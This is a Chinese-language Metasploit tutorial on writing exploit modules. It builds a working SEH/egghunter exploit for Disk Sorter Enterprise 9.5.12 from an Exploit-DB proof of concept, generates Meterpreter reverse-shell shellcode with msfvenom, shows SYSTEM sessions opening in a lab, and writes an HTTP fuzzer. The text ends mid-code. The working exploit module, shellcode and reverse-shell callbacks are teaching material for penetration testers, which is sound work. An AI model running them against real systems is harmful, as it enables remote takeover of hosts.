概述
到目前为止,我们已经学习了如何利用漏洞,但不知道它们是如何工作的。尽管所有漏洞利用模块都经过了彻底验证,但了解它们的构建方式总是有好处的。作为渗透测试人员,知道如何编写自己的模块,或者简单地向现有模块添加新功能,是一项很棒的技能。
本文将涵盖在框架内使用漏洞利用程序时需要了解的所有细节。但不会涵盖漏洞利用程序的开发,它是另一个完整的研究领域;我们将使用现用的漏洞利用验证程序 (PoC),并了解如何将它们添加到框架中。还将了解一些重要的 mixins,它们可以简化将漏洞利用程序转换为 Metasploit 模块的过程。
# 1、常见漏洞利用代码mixins
Mixins
是Ruby
语言中应用广泛的一种机制,其作用是为模块提供功能,并使得Ruby
这种单继承语言具备多继承的能力。在漏洞利用代码模块中使用mixins
,可帮助调用该漏洞利用代码所需的不同函数。在本节中,我们将学习一些重要的Metasploit exploit mixins
。
让我们快速浏览一下一些常见的exploit mixins
。然后在现有漏洞利用模块中了解其是如何实现的:
Exploit::Remote::TCP
:该mixin
为模块提供了TCP
相关功能,可用于建立TCP
连接。connect()
函数与disconnect()
函数分别负责建立和终止连接,此外还需要一些不同的参数,例如RHOST
、RPORT
、SSL
等。Exploit::Remote::UDP:
该mixin
为模块提供了UDP
相关功能,可用于建立UDP
连接。UDP
通常被视为比TCP
更快的连接模式,因此也是一个方便的选项,该mixin
还包含了Rex::Socket::UDP
,从而不必担心无法与目标建立socket
连接的问题。Exploit::Remote::SMB
:此mixin
提供与远程计算机上的SMB/CIFS
服务交互的方法。它扩展了TCP
漏洞利用mixin
,对于漏洞利用非常有用。smb_login()
和smb_ create()
是该mixin
提供的有用函数。Exploit::BruteTargets
:这是一个有趣的mixin
,用于暴力破解目标。它使用exploit_target(target)
函数接收远程目标IP
并执行暴力攻击。这个mixin
可以很容易地在不同的暴力攻击代码中扩展和使用。Exploit::Remote::Ftp
:此mixin
用于利用远程目标上的FTP
服务。它包括Remote::TCP
以便与远程目标建立连接。它使用connect()
函数,该函数接收RHOST
和RPORT
的值,以便连接到远程系统上的FTP
服务器。Msf::Exploit::Seh
:这个mixin
提供了一个接口,以动态且灵活的方式生成 SEH 注册记录Rex::Exploitation::Seh
类。Msf::Exploit::Egghunter
:这个mixin
提供了一个接口,使用Rex::Exploitation::Egghunter
类为各种平台生成egghunters
。当发生溢出时有效载荷空间有限的情况下,Egghunter
非常有用,但可以将更大的有效载荷加载到内存中其他可能无法直接预测的位置。
这些是一些重要的exploit mixins
,当你在框架内使用漏洞利用模块时,它们会非常方便。使用mixins
可避免重复使用相同模块。这就是模块化架构非常灵活的原因,因为它有利于代码重用。
如前面所说,mixins
用于在Ruby
这种单继承语言中提供多继承机制,意味着可以根据实际需要在任意模块中调用不同的功能。例如,需要在漏洞利用代码模块中建立TCP连接,则不需要专门为其定义一个完整的函数,而是可以简单地在模块中调用Exploit::Remote::TCP
这一mixin
并利用它提供的功能。
除了上面提及的mixins
之外,MSF
框架中还有很多重要的mixins
,包括fileformat
、imap
、java
、smtp
等,可以在lib/msf/core/exploit
目录中找到。
└─# pwd
/usr/share/metasploit-framework/lib/msf/core/exploit
┌──(root㉿kali)-[/usr/…/lib/msf/core/exploit]
└─# ls
android.rb dhcp_server.rb git.rb ntlm.rb remote sqli
auto_target.rb egghunter.rb http.rb omelet.rb remote.rb sqli.rb
brute.rb exe.rb java_deserialization.rb oracle.rb retry.rb tftp_server.rb
brute_targets.rb file_dropper.rb java.rb pdf_parse.rb riff.rb view_state.rb
capture.rb fileformat.rb jsobfu.rb pdf.rb rop_db.rb wbem_exec.rb
cmd_stager format kernel_mode.rb php_exe.rb ruby_deserialization.rb windows_constants.rb
cmd_stager.rb format_string.rb local powershell seh.rb
dect_coa.rb git local.rb powershell.rb smb
# 2、探索模块结构
了解漏洞利用模块的结构非常重要,因为这将有助于我们分析不同的漏洞利用模块。由于 Metasploit
框架是一个开源项目,其开发依赖于社区的贡献。来自世界各地的开发人员将各种漏洞利用的概念证明转换为 Metasploit
模块,以便每个人都可以使用。因此,你也可以通过将新发现的漏洞利用代码转换为模块来为社区做出贡献。此外,在某些情况下,你可能需要框架中没有的特定漏洞利用。掌握模块结构的知识将帮助你轻松地将漏洞利用程序转换为模块。在本节中,我们将了解模块的基本结构。
你可以在 /usr/share/metasploit-framework/modules/exploits
目录中找到漏洞利用模块,让我们对MSF
中漏洞利用代码的结构进行分析。
漏洞利用模块的格式类似于辅助模块的格式,但多了一些特定的内容。
1、模块以类的声明开始,该类扩展了与漏洞利用相关的属性。在此示例中,MetasploitModule
类扩展了Remote Exploit
库。此外,该模块还包括其他 mixins
,例如 Seh
、Egghunter
和 Tcp
:
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Tcp
2、然后是初始化函数 initialize
,用于初始化模块的不同值和内容定义。此函数的一些主要定义包括 Name
、 Description
、 Author
和 Version` 等。
def initialize(info = {})
super(update_info(info,
'Name' => '',
'Description' => %q(),
'License' => MSF_LICENSE,
'Author' => [''],
...snip...
3、register_options
可以注册多个基本数据存储选项。基本数据存储选项是必须配置的选项,例如服务器端漏洞利用中的 RPORT
选项。
register_options(
[
Opt::RPORT(21),
], self.class)
4、目前为止,可以看到其结构与辅助模块非常类似,其差别在exploit()
函数。首先,connect
方法将调用Rex::Socket::Tcp.create
来创建套接字并将其注册到框架。然后构建传输的缓冲区,使用 put
方法和 sock.put()
发送,最后使用 handler
方法检查攻击载荷连接是否已建立。
def exploit
connect
buf = rand_text_alpha(1024)
buf << [ target.ret ].pack('V')
buf << payload.encoded
sock.put(buf)
sock.get_once
handler
end
你还可以声明一个漏洞测试函数 check()
,它验证目标是否存在漏洞。它验证除攻击载荷之外的所有选项。
上面是对Metasplot
中漏洞利用代码模块的基本介绍,后面中会对与框架中漏洞利用代码相关的一些核心概念进行讨论。
# 它的工作原理
上述分析的漏洞利用代码模块结构是Metasploit
可以理解的格式。def initialize()
函数主要帮助模块定义一些常用的漏洞利用代码选项。类似地,register_options()
则被Metasploit
用于定义一些不同的参数,或为漏洞利用代码模块的一些参数赋予默认值。这也是模块化体系结构的优势所在。在文的后面,我们还会介绍怎样将现有的漏洞利用代码转换为Metasploit
模块。
# 3、利用MSFvenom生成Shellcode
在之前的章节中我们已经学习了有关 MSFvenom
的内容,现在我们将再次使用它,但这一次是为了生成可以在 PoC
中使用的自定义 shellcode
。网上发布的 PoC
漏洞通常使用bind shell
、硬编码 IP 地址,或者只是打开计算器来证明代码执行,这意味着它们可能不符合在渗透测试期间的需求。为此,很多时候我们需要用自己的代码替换shellcode
。
Shellcode
是一小段代码,用作利用软件漏洞的攻击载荷。它被称为 shellcode
,因为大多数时候它用于启动 shell
,以便攻击者可以控制受感染的目标。
准备一个 PoC
,该 PoC
利用 Disk Sorter Enterprise v9.5.12
的 Web 界面中基于堆栈的缓冲区溢出漏洞,这是由于对发送到内置Web服务器的HTTP GET
请求中的请求路径边界检查不当造成的。 PoC
和易受攻击的应用程序可在漏洞数据库网站 https://www.exploit-db.com/exploits/41666/ 中找到。要设置易受攻击的应用程序,请将其安装在 Windows 7
目标计算机上,然后导航到Tools | Disk Sorter Enterprise Options | Server
并启用端口 80 上的 Web 服务器。
查看Poc
代码,可用发现设置了默认的IP地址,攻击载荷使用了bind shell
import socket,os,time,struct
host = "192.168.2.186"
port = 80
#Bad Chars \x00\x09\x0a\x0d\x20"
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
这意味着,如果我们要利用此漏洞,我们需要更改IP
地址和将shellcode
替换为reverse shell
(因为我们的目标机器可能启用了防火墙)。
1、生成 shellcode
时,应该注意的事情之一是不应该使用的字符,也称为坏字符。某些字符被认为是坏字符,是因为它会阻止漏洞利用,例如,在缓冲区溢出漏洞中,空字节 0x00
将截断缓冲区,防止溢出发生或破坏 shellcode
。幸运的是,这个代码注释中写了要避免的字符,但其他 PoC
不一定会写清楚。
2、现在我们已经拥有了所需的所有信息,然后就可以使用 MSFvenom
生成 shellcode
,在本例中使用 Meterperter reverse shell
,-b
参数后跟坏字符\x00\x09\x0a\x0d\x20
,-f
指定输出格式,在本例中为 python
,因为 PoC
是用 Python
编写的,--var-name
指定变量名称,以便它与 PoC
中使用的变量名称(即 shellcode
)相匹配:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.140 LPORT=7777 -b "\x00\x09\x0a\x0d\x20" -f python --var-name shellcode
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 2136 bytes
shellcode = b""
shellcode += b"\xdd\xc0\xd9\x74\x24\xf4\xba\x43\xc5\x26\xa2"
shellcode += b"\x5e\x33\xc9\xb1\x59\x31\x56\x19\x03\x56\x19"
shellcode += b"\x83\xee\xfc\xa1\x30\xda\x4a\xaa\xbb\x23\x8b"
shellcode += b"\xd4\x32\xc6\xba\xc6\x21\x82\xef\xd6\x22\xc6"
shellcode += b"\x03\x9d\x67\xf3\x90\xd3\xaf\xca\x59\x1c\x07"
shellcode += b"\x66\x80\x13\xa7\xdb\xf0\x32\x5b\x26\x25\x94"
shellcode += b"\x62\xe9\x38\xd5\xa3\xbf\x37\x3a\x79\xcb\xea"
shellcode += b"\xd4\x29\x40\x48\xe8\xd4\x86\xc6\x50\xaf\xa3"
shellcode += b"\x19\x24\x03\xad\x49\x4f\xc3\x8d\xe2\x07\xec"
shellcode += b"\xcc\x27\xc7\x89\x06\xb3\xdb\xd8\xa9\xc3\xa8"
shellcode += b"\xef\x42\x3a\x78\x3e\x95\x91\x45\x8e\x18\xeb"
shellcode += b"\x82\x29\xc3\x9e\xf8\x49\x7e\x99\x3b\x33\xa4"
shellcode += b"\x2c\xdb\x93\x2f\x96\x3f\x25\xe3\x41\xb4\x29"
shellcode += b"\x48\x05\x92\x2d\x4f\xca\xa9\x4a\xc4\xed\x7d"
shellcode += b"\xdb\x9e\xc9\x59\x87\x45\x73\xf8\x6d\x2b\x8c"
shellcode += b"\x1a\xc9\x94\x28\x51\xf8\xc3\x4d\x9a\x02\xec"
shellcode += b"\x13\x0c\xce\x21\xac\xcc\x58\x31\xdf\xfe\xc7"
shellcode += b"\xe9\x77\xb2\x80\x37\x8f\xc3\x87\xc7\x5f\x6b"
shellcode += b"\xc7\x39\x60\x8b\xc1\xfd\x34\xdb\x79\xd7\x34"
shellcode += b"\xb0\x79\xd8\xe0\x2c\x70\x4e\xcb\x18\xdf\x02"
shellcode += b"\xa3\x5a\xe0\x04\x55\xd3\x06\x68\xc5\xb3\x96"
shellcode += b"\xc9\xb5\x73\x47\xa2\xdf\x7c\xb8\xd2\xdf\x57"
shellcode += b"\xd1\x79\x30\x01\x89\x15\xa9\x08\x41\x87\x36"
shellcode += b"\x87\x2f\x87\xbd\x2d\xcf\x46\x36\x44\xc3\xbf"
shellcode += b"\x21\xa6\x1b\x40\xc4\xa6\x71\x44\x4e\xf1\xed"
shellcode += b"\x46\xb7\x35\xb2\xb9\x92\x46\xb5\x46\x63\x7e"
shellcode += b"\xcd\x71\xf1\x3e\xb9\x7d\x15\xbe\x39\x28\x7f"
shellcode += b"\xbe\x51\x8c\xdb\xed\x44\xd3\xf1\x82\xd4\x46"
shellcode += b"\xfa\xf2\x89\xc1\x92\xf8\xf4\x26\x3d\x03\xd3"
shellcode += b"\x34\x3a\xfb\xa1\x12\xe3\x93\x59\x23\x13\x63"
shellcode += b"\x30\xa3\x43\x0b\xcf\x8c\x6c\xfb\x30\x07\x25"
shellcode += b"\x93\xbb\xc6\x87\x02\xbb\xc2\x46\x9a\xbc\xe1"
shellcode += b"\x52\x2d\xc6\x8a\x65\xce\x37\x83\x01\xcf\x37"
shellcode += b"\xab\x37\xec\xe1\x92\x4d\x33\x32\xa1\x5e\x06"
shellcode += b"\x17\x80\xf4\x68\x0b\xd2\xdc"
3、现在,将 PoC
中的shellcode
替换为我们使用 MSFvenom
创建的shellcode
,更改目标的 IP
地址,并在msfconsole
中使用Handler
模块启用监听。
4、执行poc
进行测试
$ python2.7 testpoc.py
5、msfconsole
收到一个反弹shell
会话
msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.91.140:7777
[*] Sending stage (175686 bytes) to 192.168.91.141
[*] Meterpreter session 1 opened (192.168.91.140:7777 -> 192.168.91.141:49160) at 2023-08-29 00:34:15 -0400
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-ER5L92C9L9 192.168.91.140:7777 -> 192.168.91.14
6 1:49160 (192.168.91.141)
msf6 exploit(multi/handler) >
# 4、将漏洞利用转换为 Metasploit 模块
现在我们已经知道如何更改现有PoC
,下一步就是将漏洞利用程序转换为 Metasploit
模块。掌握如何编写漏洞利用程序的基本知识至关重要,因为网上找到的大多数 PoC
都没有附带手册。话虽这么说,让我们继续,看看如何使用现有的 PoC
构建我们自己的漏洞利用模块。
在开始之前,了解基于堆栈的缓冲区溢出原理非常重要。
当写入缓冲区的数据多于缓冲区所能容纳的数据时,就会发生基于堆栈的缓冲区溢出,从而超出缓冲区的边界并覆盖相邻的内存位置。
查看 PoC
,我们可以看到通过发送 2487
个字符,我们可以溢出下一个 SEH
和 SEH
记录:
#Buffer overflow
junk = "A" * 2487
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)
结构化异常处理程序(SEH
)是一种异常处理机制。当程序崩溃并触发异常时,会调用SEH
来尝试恢复操作。 SEH
是一个包含数据记录序列的链表;当异常被触发时,Windows
将遍历该列表并尝试处理该异常。如果不能,它将继续沿着列表向下并评估其他异常函数是否合适。
当利用 SEH
覆盖时,我们可以使用 POP POP RET
指令序列的地址覆盖 EXCEPTION_REGISTRATION_RECORD
的处理程序属性。当异常被触发时,程序流将转到SEH
,我们在其中放置代码以跳转到我们的payload
。
通过覆盖下一个SEH
,我们可以欺骗SEH
执行POP POP RET
指令,这样下一个SEH
的地址就会被放入EIP
中,从而执行下一个SEH
中的代码,这会跳过一些字节并执行shellcode
。
接下来,我们有一个 egghunter
:
egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Egghunter
是一种在漏洞利用开发过程中使用的技术,用于在整个内存范围中搜索 shellcode
并将流程重定向到它。
由于Metasploit
已经有了生成 SEH
记录和 Egghunter
的 mixin
,所以不需要自己编写或从 PoC
移植它们。
要将 PoC
漏洞移植到 Metasploit
框架,我们可以使用 /usr/share/metasploit-framework/modules/exploits
文件夹中的 example.rb
模板。
1、首先包含我们需要的 mixin
开始:
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient
2、然后指定payload
中不应该使用的坏字符
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20",
},
3、接下来,我们根据目标信息,在 Offset
变量中指定溢出下一个 SEH
记录所需的字节数以及 POP POP RET
指令的地址:
'Targets' =>
[
[ 'Disk Sorter Enterprise v9.5.12',
{
'Offset' => 2488,
'Ret' => 0x10015FFE # POP # POP # RET [libspp.dll]
}
]
],
如你所见,我们需要将偏移量从 2487
调整到 2488
,以便漏洞利用能够发挥作用。这是你应该学习如何使用调试器以及如何编写基本漏洞利用的原因之一。
4、在exploit
函数中,首先设置egghunter
选项并生成egg
和hunter
:
eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)
5、然后,我们可以按照与 PoC
相同的结构创建漏洞利用程序:
6、首先,我们将生成一些随机字符来填充缓冲区,然后放置 SEH
记录,然后需要搜索的egg
、10 个 NOP
、包含我们攻击载荷的egg
以及一些用于填充的随机字符。
sploit = rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << make_nops(10)
sploit << egg
sploit << rand_text_alpha(5500)
7、最后,打印状态信息,告诉我们请求正在发送,并且使用 HttpClient mixin
来发送exploit
:
print_status('Sending request...')
send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
如你所见,整个过程简单明了。
# 5、移植和测试新的漏洞利用模块
在上一节中,我们学习了如何利用现有的 PoC
编写 Metasploit
漏洞利用模块。在本节中,将对其进行测试,看看一切是否顺利。
将我们的漏洞利用模块存储在正确的位置至关重要。这有助于我们跟踪不同的模块并了解基本的模块用法。现在你已经有了完整的模块代码,找个合适的目录保存它。
私有模块位于 ~/.msf4/modules/
文件夹中。因此,使用 mkdir
命令创建一个文件夹结构来保存我们的模块。由于这是一个针对 Windows
操作系统的漏洞利用模块,它会影响 HTTP
协议,因此设置模块目录为:
$ mkdir -p ~/.msf4/modules/exploits/windows/http
启动msfconsole
加载模块,测试是否正常。
msf6 exploit(windows/http/disksrce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/disksrce) > show options
Module options (exploit/windows/http/disksrce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.91.140 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Disk Sorter Enterprise v9.5.12
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/disksrce) > exploit
[*] Started reverse TCP handler on 192.168.91.140:4444
[*] Sending request...
[*] Sending stage (175686 bytes) to 192.168.91.141
[*] Meterpreter session 1 opened (192.168.91.140:4444 -> 192.168.91.141:56197) at 2023-08-29 02:51:07 -0400
meterpreter >
成功返回了shell
,说明我们的模块没有问题。
完整代码:
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Disk Sorter Exploit', 'Description' => %q{ This exploit module illustrates how a vulnerability could be exploited in an TCP server that has a parsing bug. }, 'License' => MSF_LICENSE, 'Author' => ['test'], 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x09\x0a\x0d\x20", }, 'Targets' => [ [ 'Disk Sorter Enterprise v9.5.12', { 'Offset' => 2488, 'Ret' => 0x10015FFE # POP # POP # RET [libspp.dll] } ] ], 'DisclosureDate' => '2023-08-29', 'DefaultTarget' => 0, ) ) end def exploit eggoptions = { checksum: true, eggtag: rand_text_alpha(4, payload_badchars) } hunter, egg = generate_egghunter( payload.encoded, payload_badchars, eggoptions ) sploit = rand_text_alpha(target['Offset']) sploit << generate_seh_record(target.ret) sploit << hunter sploit << make_nops(10) sploit << egg sploit << rand_text_alpha(5500) print_status('Sending request...') send_request_cgi( 'method' => 'GET', 'uri' => sploit ) end end
# 6、使用 Metasploit 进行模糊测试
模糊测试是一种软件测试技术,包括使用随机数据注入查找实现错误。模糊器生成格式错误的数据并将其传递给特定的目标实体以验证其溢出能力。 Metasploit
提供了几个有助于漏洞开发的模糊测试模块。让我们进一步探讨模糊测试的基础知识以及如何将 Metasploit
模块用作潜在的模糊测试器。
让我们先简要了解一下fuzzing
及其类型。
Metasploit
框架提供了一整套用于操作网络协议和数据的库,可以帮助我们开发简单的fuzzer
。
根据我们所针对的应用程序或协议类型,我们可以设置fuzzer
来生成数据/数据包,以测试溢出条件。Metasploit
包含多个fuzzer
模块,可用于测试应用程序和协议。这些模块位于 modules/auxiliary/fuzzers
中。让我们分析一下这些模块的实现。
┌──(kali㉿kali)-[/usr/…/metasploit-framework/modules/auxiliary/fuzzers]
└─$ ls
dns ftp http ntp smb smtp ssh tds
让我们用 HTTP Fuzzer
做个实验,看看如何在 Disk Sorter Enterprise
应用程序中发现基于堆栈的缓冲区溢出。Metasploit
有一个 HTTP GET Request URI Fuzzer
,我们可以使用它:
msf6 > use auxiliary/fuzzers/http/http_get_uri_long
msf6 auxiliary(fuzzers/http/http_get_uri_long) > set RHOSTS 192.168.91.141
RHOSTS => 192.168.91.141
msf6 auxiliary(fuzzers/http/http_get_uri_long) > run
[*] Running module against 192.168.91.141
[*] 192.168.91.141:80 - Fuzzing with iteration 100 using string length 100
[*] 192.168.91.141:80 - Fuzzing with iteration 200 using string length 200
[*] 192.168.91.141:80 - Fuzzing with iteration 300 using string length 300
[*] 192.168.91.141:80 - Fuzzing with iteration 400 using string length 400
[*] 192.168.91.141:80 - Fuzzing with iteration 500 using string length 500
[*] 192.168.91.141:80 - Fuzzing with iteration 600 using string length 600
[*] 192.168.91.141:80 - Fuzzing with iteration 700 using string length 700
[*] 192.168.91.141:80 - Fuzzing with iteration 800 using string length 800
[*] 192.168.91.141:80 - Fuzzing with iteration 900 using string length 900
[*] 192.168.91.141:80 - Fuzzing with iteration 1000 using string length 1000
[*] 192.168.91.141:80 - Fuzzing with iteration 1100 using string length 1100
[*] 192.168.91.141:80 - Fuzzing with iteration 1200 using string length 1200
[*] 192.168.91.141:80 - Fuzzing with iteration 1300 using string length 1300
[*] 192.168.91.141:80 - Fuzzing with iteration 1400 using string length 1400
[*] 192.168.91.141:80 - Fuzzing with iteration 1500 using string length 1500
[*] 192.168.91.141:80 - The service may have crashed: iteration:1579 len=1580 uri=''XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'' error=The connection with (192.168.91.141:80) timed out.
[*] Auxiliary module execution completed
查看该模块的输出结果,我们可以看到,通过向Windows 7
目标计算机发送一个包含 1580
个字符的请求,让服务崩溃。我们可以看到结果:
# 7、编写Fuzz测试器
在上节中,我们使用 HTTP fuzzer
发送了一系列 URL
长度递增的 HTTP GET
请求,直到服务崩溃。现在,我们将了解它是如何工作的,并构建自己的小型 HTTP fuzzer
,用来测试Disk Sorter Enterprise
。
1、构建一个fuzzer
模块类型于之前学习过的辅助模块:
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Fuzzer
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Fuzzer',
'Description' => %q{Simple HTTP GET Request Fuzzer},
'Author' => [ 'Daniel Teixeira' ],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(80),
OptInt.new("MAXLENGTH", [true, "Maximum string length", 20000] )
])
end
2、导入MSF
库后,创建了一个类并定义了选项,下一步就是定义建立 sock
连接的函数:
def get_request(uri='',opts={})
@connected = false
connect
@connected = true
sock.put("GET #{uri} HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
sock.get_once(-1, 1)
end
实例变量@connected
来表示连接状态,并在连接前后进行设置,以确保在发送请求之前已经建立了连接。 sock.put
用于使用TCP mixin
发送请求,sock.get_once
用于从服务获取响应,并设置超时时间为1秒。
3、接下来定义fuzzer
主体:
def run
last_req = nil
error = nil
count = 0
1.upto(datastore['MAXLENGTH'].to_i) do |len|
count += 1
req = fuzzer_gen_string(len)
uri = "/" + req
if(count % 100 == 0)
print_status("Fuzzing with iteration #{count} using reqing length #{len}")
end
begin
r = get_request(uri,:timeout => 0.25)
rescue ::Interrupt
print_status("Exiting on interrupt: iteration #{count} using reqing length #{len}")
raise $!
rescue ::Exception => e
error = e
ensure
disconnect
end
if(not @connected)
if(last_req)
print_status("The service may have crashed: iteration:#{count-1} len=#{len} uri=''#{last_req}'' error=#{error}")
else
print_status("#{error}")
end
return
end
last_req = req
end
end
首先,我们要初始化所需的变量,包括最后发送的请求、错误和迭代次数计数器。然后,我们建立一个循环,在这个循环中,我们将以递增的URI
长度发送 HTTP Get
请求,并等待响应。如果等待响应的时间超时,则认为服务中断,并将迭代次数、URI
长度和 URI
打印到屏幕上。
完整代码:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Fuzzer
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Fuzzer',
'Description' => %q{Simple HTTP GET Request Fuzzer},
'Author' => [ 'Daniel Teixeira' ],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(80),
OptInt.new("MAXLENGTH", [true, "Maximum string length", 20000] )
])
end
def get_request(uri='',opts={})
@connected = false
connect
@connected = true
sock.put("GET #{uri} HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
sock.get_once(-1, 1)
end
def run
last_req = nil
error = nil
count = 0
1.upto(datastore['MAXLENGTH'].to_i) do |len|
count += 1
req = fuzzer_gen_string(len)
uri = "/" + req
if(count % 100 == 0)
